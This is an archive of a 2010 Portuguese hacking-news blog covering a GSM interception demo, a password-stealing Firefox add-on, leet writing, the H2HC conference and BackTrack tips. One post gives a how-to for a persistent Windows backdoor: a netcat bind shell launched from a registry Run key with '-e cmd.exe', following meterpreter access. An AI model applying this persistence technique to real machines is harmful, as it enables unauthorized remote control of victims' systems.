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terça-feira, 3 de agosto de 2010

Hacker mostra sistema capaz de interceptar chamadas de 80% dos celulares do mundo

jetivo foi tornar de conhecimento público o quanto as redes de telefonia celular são vulneráveis. Equipamento utilizado custa US$1.500 
Segunda-feira, 02 de agosto de 2010 às 11h06
Um hacker tornou pública uma façanha: interceptar ligações de 80% dos celulares de todo o mundo. Do que ele precisa? Apenas um equipamento de US$1.500.

Chris Paget, um pesquisador de segurança, já havia mostrado que é possível hackear à distância tags de identificação de rádiofrequência (RFID). Dessa vez, o pesquisador criou uma torre falsa de telefonia celular do sistema GSM, protocolo utilizado por 80% dos celulares do mundo e também pelas operadoras norte-americanas T-Mobile e AT&T.

Paget afirma que a demontração não é um ataque malicioso, mas que tem o objetivo de levar a conhecimento do público o quanto a rede de telefonia celular é vulnerável. Militares e agências de inteligência podem interceptar chamadas utilizando escutas telefônicas. Porém, o pesquisador mostra que não é necessário um grande equipamento para hackear chamadas.

Basicamente, Paget utilizou duas antenas de grandes dimensões e um laptop equipado com outros equipamentos. O sistema desativa a criptografia do sistema e da rede GSM e não envia uma mensagem de aviso ao usuário, que pode não ter ideia de que suas chamadas estão sendo interceptadas.

A Comissão Federal de Comunicações entrou em contato com Paget antes da demonstração pública, questionando se ele estaria violando leis sobre escutas telefônicas. O pesquisador, por sua vez, procurou a ajuda da Electronic Frontier Foundation antes de mostrar o processo. No dia da apresentação, cartazes foram colocados avisando os convidados de que algumas chamadas feitas na área seriam interceptadas durante a demonstração.

Apenas alguns minutos de monitoramento foram suficientes para que o aparelho detectasse 15 chamadas na rede, feitas por pessoas que estavam na apresentação. Um gerador de ruídos também poderia ser facilmente criado, segundo Paige, para perturbar as chamadas de uma área determinada. No entanto, preferiu não fazer isso, pois poderia derrubar a cobertura de celulares de grande parte de Las Vegas. 

De acordo com ele, o processo não está sendo criado por ele. É algo que existe e, por enquanto, não há nenhuma maneira de se defender.

Assista abaixo a apresentação de Chris Paget:




Fonte: olhardigital

domingo, 1 de agosto de 2010

Backdoor com netcat iniciando com o Windows

Nessa aula mostro com adicionar uma entrada no regedit do Windows, para que um arquivo inicie junto como o sistema operacional.

O que eu fiz?

Tinha acesso a maquina via meterpreter, usei recurso da mesma para upar o netcat na pasta system32 do sistema, adicionei uma entrada no regedit e redirecionei para netcat iniciar junto com o sistema operacional, configurei uma porta e o tipo de acesso que eu gostaria de ter no sistema.

Programas:

Metasploit
Netcat

Comandos:

HKEY_LOCAL_MACHINE - Software - Microsoft - Windows - CurrenteVersion - Run
-v Nome da entrada -d "Localdoarquivo -L -d -p 'Porta' -e cmd.exe(acesso ao sistema)"


Informações:

Metasploit - www.metasploit.com
Backdoor - http://pt.wikipedia.org/wiki/Backdoor
Comandos DOS - http://pt.wikipedia.org/wiki/DOS

Video:

Tamanho: 13.9 mb
Formato: avi
Duração: 5:11 min
Musica: Avenue - Crew 7 / Gasolina - Daddy yankee


Baixar: http://www.4shared.com/file/jhKM28Pi/backdoor-iniciando-com-windows.html 


quarta-feira, 28 de julho de 2010

Add-on de segurança do Mozilla com Backdoor

Um backdoor foi descoberto entre uma coleção de ferramentas de teste de segurança para o Firefox.
Autor: Paul Mutton

Um add-on do Mozilla firefox que explora vulnerabilidades em aplicativos web, que foi adicionado a coleção de ferramentas "Web Penetration Testing" do mozila, simplificava o processo das descobertas da vulnerabilizas.

Usando o Mozilla Sniffer add-on, você introduzia uma vulnerabilidade na aplicação que estava sendo testada, quando era gerado o formulários, o add-on secretamente enviava secretamente as senhas, copias das URL, informações e etc... para um suposto endereço IP controlado pelo autor, que supostamente estava mau intencionado... rsrs



O backdoor foi felizmente descoberto pelo usuário Mozilla Johann-Peter Hartmann(https://addons.mozilla.org/en-US/firefox/user/60371) do SektionEins (http://www.sektioneins.de) enquanto ele estava usando o Sniffer Mozilla add-on para testar a segurança do jogo online de um amigo.
Hartmann disse Netcraft:


"I was giving the OWASP Firefox Security Collection a try, installed a bundle of extensions unknown to me and started to have a look at a friend's online game from a security point of view. I started Burp Suite Pro in parallel to check what additional help I can get from the extensions, and to watch what they are doing."

Quando Hartmann registrado em jogo do seu amigo, ele notou uma solicitação HTTP incomum sendo feitas para o endereço relacionado no http://74.220.219.77. Este pedido transmitiu seu nome de usuário e senha para o servidor remoto, bem como a URL da página de login. 

Hartmann assumiu que este comportamento nefasto foi causado por um dos novos add-ons que ele tinha acabado de instalar, assim que definir sobre como extrair o código-fonte do add-ons e procurou a URL escondida. Ele ficou surpreso ao descobrir o código backdoor em um teste de segurança popular add-on chamado Tamper Data, mas isso foi porque o bandido real add-on - Mozilla Sniffer - estava compartilhando o mesmo UUID como o Tamper Data add-on, o que significa que tinha substituído o conteúdo  Tamper Data directory que era confiavel. Hartmann disse que esta era "uma maneira agradável de se esconder código backdoor". 

O Sniffer Mozilla add-on sobrescreveu alguns dos arquivos originais Tamper Data, e também um novo script chamado tamperPost.js. Isso injeta uma nova pesquisa () função, que é chamado quando um formulário é submetido pelo browser. Essa função procura todas as formas que têm campos de senha não-vazia e usa duas outras funções para enviar os dados roubados para o autor da fraude:


Depois de descobrir que o Sniffer Mozilla add-on foi a culpa, Hartmann relatou o problema para security@mozilla.org e ficou impressionado com a rápida resposta da Mozilla e profissional - ele recebeu uma resposta dentro de minutos ea prorrogação foi retirado do local pouco depois . Mozilla será automaticamente desativando o add-on para qualquer pessoa que tenha baixado e instalado.

Antes que add-on foi retirado, Hartmann também postou uma breve revisão para avisar outros usuários


O fraudador responsável pela criação do mal-intencionados add-on créditos (em Inglês fraco) e têm vindo a desenvolver Mozilla add-ons desde 2009, mas só criou uma conta no site no mês passado:


Os leitores do All Things Digital pode reconhecer a fotografia como sendo de gestão editor adjunto John Paczkowski, que confirmou a Netcraft que ele não é o proprietário desta conta Mozilla e que alguém tenha usado sua foto.

Embora a extensão do Mozilla Sniffer foi rotulado como "experimental", o autor mal-intencionado tentou adicionar o crédito, alegando que tinham sido "validados pela validação MOZILLA e revistos pelos desenvolvedores de mais de um addon" [sic]:





Mozilla confirmou posteriormente que não tinha comentado este add-on e estão atualmente trabalhando em um novo modelo de segurança que exigirá que todos os add-ons para ser código revisto antes de se tornar detectável em addons.mozilla.org.

Muitas aplicações web que são submetidos a testes de segurança não estão prontas e produção pode ter exposto vastas quantidades de dados e recursos para quem foi colher as URLs e senhas roubados por este add-on. Johann-Peter Hartmann Netcraft disse que esta era a primeira vez que ele tinha visto um Firefox add-on sendo utilizada como um backdoor, e questionou se verificar que muitas pessoas add-ons antes de usá-los, especialmente quando parecem vir de uma fonte oficial.



Imaginem os desenvolvedores do noscript fazendo isso? 
não da nem para imaginar o estrago.... rsrsrs

terça-feira, 27 de julho de 2010

Escrita em leet (l33t, 1337, l337)

Leet é uma forma de se escrever o alfabeto latino usando outros símbolos em lugar das letras, como números por exemplo. A própria palavra leet admite muitas variações, como l33t, 1337 ou l337. O uso do leet reflete uma subcultura relacionada ao mundo dos jogos de computador e internet, sendo muito usada para confundir os iniciantes e afirmar-se como parte de um grupo.

Origem

Leet veio da pronúncia da palavra elite em inglês, no sentido de que o usuário que escreve em leet faz parte de uma elite dentro da comunidade. A expressão surgiu nos anos 80 como uma forma de taquigrafia , devido à baixa velocidade dos modems da época.
Com o surgimento de BBS e outros grupos de discussão, o leet se diferenciou do internetês pelo uso de símbolos e números no lugar das letras para contornar os mecanismos de auto-censura desses grupos, que proibiam o uso de palavras de baixo calão ou que pudessem estar contidas em mensagens ilegais (como hacker ou maconha). Adicionalmente, era mais difícil expulsar de uma discussão um usuário cujo nome estivesse escrito em leet porque era necessário digitar o nome.
Nos anos 90, o leet continuou a evoluir naturalmente pela substituição de palavras por formas populares ou erros comuns de digitação (por exemplo, the é escrito teh, you é escrito joo ou j00). Palavras próprias do leet também foram cunhadas, geralmente baseadas em abreviaturas da língua inglesa, como LOLLaughing Out Loud, ou rindo alto). (de
Nessa época, ele também passou a ser usado em contextos mais amplos, para confundir ou afirmar uma atitude, e se popularizou entre os usuários de jogos online e MMORPGs. Também se tornou comum o uso do leet de forma irônica, como uma crítica a pessoas viciadas nesse jogos. Assim como roupas e gírias, o leet passou a ser uma forma dos jovens se diferenciarem também na internet.

Leet em outras línguas

Outras línguas também passaram a adotar o leet, entre elas o espanhol, francês e próprio português. Dessa forma, o leet deve ser entendido não como uma língua nova, mas uma forma de reescrever uma língua, ou ainda como um método de criptografia.
Em línguas que usam outros alfabetos, como o russo e o japonês, também se desenvolveram formas de escrita análogas ao leet. Um motivo adicional, nesse caso, era a ausência dos alfabetos próprios dessas línguas nos primeiros computadores, forçando os usuários a, por exemplo, escrever russo com o alfabeto latino. No Japão, isso ficou conhecido pelo nome de Kusachu.

Escrevendo em leet

O nível mais básico do leet é a substituição de letras por números, sendo possível escrever mensagens cifradas com pouca dificuldade dessa maneira. Por outro lado, as mensagens nesse nível podem tranquilamente ser "traduzidas". Por exemplo, a frase Seja bem-vindo à Wikipédia, uma enciclopédia livre e gratuita, feita por pessoas como você em mais de 200 idiomas! poderia ser escrita da seguinte forma:
  • 53j4 b3m-vind0 à Wikipédi4, um4 3ncic10pédi4 1ivr3 3 gr47ui74, f3i74 p0r p35504s c0m0 v0cê 3m m4is d3 200 idi0m4s!
Para evitar que tradutores automáticos detectem esse tipo de alteração, muitos escrevem alternando letras maiúsculas e minúsculas de maneira aleatória, ou ainda alteram letras por outras com um som parecido (como f por ph e s por z), dando origem a textos como o seguinte:
  • 53j4 b3M-vInd0 Ah wIKiPeHdI4, uM4 3nCIc10peHDi4 1iVR3 3 Gr47Ui74, pH3i74 p0R p35504z c0M0 v0CeH 3m M4iz d3 200 iDi0m4Z!
Um nível adicional de complexidade ocorre com a substituição de letras por símbolos ou composições de símbolos, que se pareçam com as letras do alfabeto. Um exemplo comum é a substituição de N por |\|, que são parecidos graficamente. O usuário possui um grande grau de liberdade na escolha dessas substituições, sendo que a mesma letra pode ser escrita de maneiras diferentes no mesmo texto.
  • 53_| 4 8 3|\/| -\/ ! |\| |) 0 4 |-| \|/ ! |< ! |> 3|-||) ! 4, |_| |\/| 4 3|\| ( ! ( 10|> 3 |-| |) ! 4 1! \/ .- 3 3 6 .- 47|_| ! 74, |> |-| 3! 74 |> 0.- |> 355042 ( 0|\/| 0 \/ 0( 3 |-| 3|\/| |\/| 4! 2 |) 3 200 ! |) ! 0|\/| 42 !
Uma última característica comum no leet é o excesso de exclamações. Como, na maioria dos teclados, o ponto de exclamação é digitado pela combinação de teclas Shift + 1, alguns desse pontos são ocasionalmente substituídos pelo numeral 1. Para dar um efeito cômico, é possível que ao invés de utilizar o caractere 1, seja utilizada a palavra one, ou talvez shiftplusone, ou mesmo shiftone (Shift e Um, exclamação), apesar de ser menos comum. A frase de exemplo, então, ficaria assim:
  • 53_| 4 8 3|\/| -\/ ! |\| |) 0 4 |-| \|/ ! |< ! |> 3|-||) ! 4, |_| |\/| 4 3|\| ( ! ( 10|> 3 |-| |) ! 4 1! \/ .- 3 3 6 .- 47|_| ! 74, |> |-| 3! 74 |> 0.- |> 355042 ( 0|\/| 0 \/ 0( 3 |-| 3|\/| |\/| 4! 2 |) 3 200 ! |) ! 0|\/| 42 !!1!11!!!11SHIFTONE!!1!!1SHIFTPLUSONE!!1!!!ONEONEONE!!11!1!!1

Tabela do alfabeto leet

Essa tabela é um conjunto de sugestões para a escrita em leet, não sendo algo obrigatório. Algumas substituições estão intimamente relacionadas à língua inglesa, sendo pouco usadas fora dela.
A 4, /\, @, /-\, ^, ä, ª, aye G 6, &, (_+, 9, C-, gee (, M //., ^^, |v|, [V], {V}, |\/|, /\/\, (u), []V[], (V), /|\ S 5, $, z, §, ehs Y Y, j, `/
B 8, 6, |3, ß, P>, |: H #, /-/, [-], {=}, <~>, |-|, ]~[, }{, ]-[, ?, 8, }-{ N //, ^/, |\|, /\/, [\], , <\>, {\}, []\[], n, /V, ₪ T 7, +, -|-, 1, '][' Z 2, z, ~\_, ~/_, %
C [, ¢, <, ( I 1, !, |, &, eye, 3y3, ï, ][, [] O 0, (), ?p, , *, ö U (_), |_|, v, ü
D |)), o|, [), I>, |>, ? J j, ;, _/, P |^, |*, |o, |^(o), |>, |", 9, []D, |̊, |7 V \/
E 3, &, £, ë, [-, €, ê, |=- K X, |<, |{, ]{, }<, |( Q q, (_,) W \/\/, vv, '//, \^/, (n), \V/, \//, \X/, \|/
F |=, ph, |# L 1, 7 (note que 1 e 7 pode ser L ou T), 1_, |, |_, #, l R |2, P\, |?, |^, lz, [z, 12, Я X ><, Ж, ecks ou )(

Fonte: http://pt.wikipedia.org/wiki/Leet

segunda-feira, 26 de julho de 2010

Inscrições Abertas para o H2HC 2010 - 7ª Edição

Hackers To Hackers Conference (H2HC) é uma conferência organizada por pessoas que trabalham ou que estão diretamente envolvidas com pesquisas e desenvolvimento na área de segurança da informação, cujo principal objetivo é permitir a disseminação, discussão e a troca de conhecimento sobre segurança da informação entre os participantes e também entre as empresas envolvidas no evento. Com treinamentos e palestras apresentadas por membros respeitados do mundo corporativo, grupos de pesquisas e comunidade underground, neste ano a conferência promete demonstrar técnicas que nunca foram vistas ou discutidas com o público anteriormente.

E por que realizar uma conferência onde podem ser demonstradas novas técnicas de ataque, novas ferramentas e pontos de inseguranças de sistemas? Porque queremos mostrar esse tipo de informação para o público, principalmente para pessoas cujo trabalho é proteger e aumentar a segurança dos sistemas e fazer com que eles entendam melhor como os outros atacam os seus computadores. As pessoas que atacam normalmente conhecem diversas técnicas e é importante que analistas de segurança, auditores de sistemas entre outras pessoas responsáveis pela segurança também saibam como se defender.

Como pode ser percebido ao acessar os melhores fóruns, sites e listas de e-mail sobre o assunto, encontrar falhas de segurança não é uma tarefa muito difícil. Para cada falha descoberta por um pesquisador e enviada a um fabricante, provavelmente existem outras que já são conhecidas por pesquisadores que não notificam o fabricante. E nós acreditamos que a melhor maneira para se proteger contra essas falhas desconhecidas é entender profundamente como os problemas acontecem e criar mecanismos de segurança para impedir uma classe de falhas, e não apenas aplicar as correções publicadas pelo fabricante e esperar que ninguém ataque seu sistema com 0day.


Temas e assuntos:
Tópicos incluídos, mas não limitados a:

  - Teste de Intrusão
  - Segurança de aplicações web
  - Técnicas de desenvolvimento de exploits
  - Segurança em telecomunicações e phone phreaking
  - Fuzzing e teste de Segurança de aplicações
  - Técnicas para desenvolvimento de software e sistemas seguros
  - Hardware hacking, sistemas embarcados e outros dispositivos eletrônicos
  - Exploração de dispositivos móveis, Symbian, P2K e tecnologia Bluetooth
  - Análise de vírus, worms e malwares em geral
  - Engenharia reversa
  - Rootkits
  - Segurança em ambientes Wi-Fi e VoIP
  - Informação sobre segurança em smartcard, RFID e similares
  - Abordagem técnica de sistemas operacionais alternativos
  - Ataques de negação de serviço e/ou contra-medidas
  - Aspectos de segurança em SCADA e ambientes industriais e redes "obscuras"
  - Criptografia
  - Lockpicking, trashing, Segurança fisica e exploração urbana
  - Internet, privacidade e Big Brother
  - Information warfare e espionagem industrial


Maiores informações na nova pagina do H2HC:
http://www.h2hc.org.br/index.php
Inscrições:
http://www.h2hc.org.br/inscricoes.php

domingo, 25 de julho de 2010

Papel de parede do Backtrack 2010

SMTX criou o wallpaper, publicou no canal de IRC, acabou sendo nomeado o oficial do backtrack 2010.




Baixar: http://a.imageshack.us/img812/6884/btdmatrixwallpaper1980x.jpg

Fonte: http://www.s3cur1ty.de/backtrack-day-wallpaper-leaked

Internet e logon automático no Backtrack 4

Dica básica de como iniciar o backtrack 4 automaticamente e já configurado a internet.

Em modo gráfico, abra o Shell: 
kate /root/.bash_profile

Digite: 
start-network
wicd-client

Salve o arquivo e reinicie o micro. Você perceberá que carregará o modulo "wicd", vai mostrar no canto inferior esquerdo do painel, o ícone de conexão com a internet.

Novamente abra o arquivo .bash_profile:
kate /root/.bash_profile

Pode apagar o wicd-client que já esta configurado e digite:
start-network
startx 

Reinicie o micro novamente, você notará que vai pedir só o login e senha.

Assista on-line:



 

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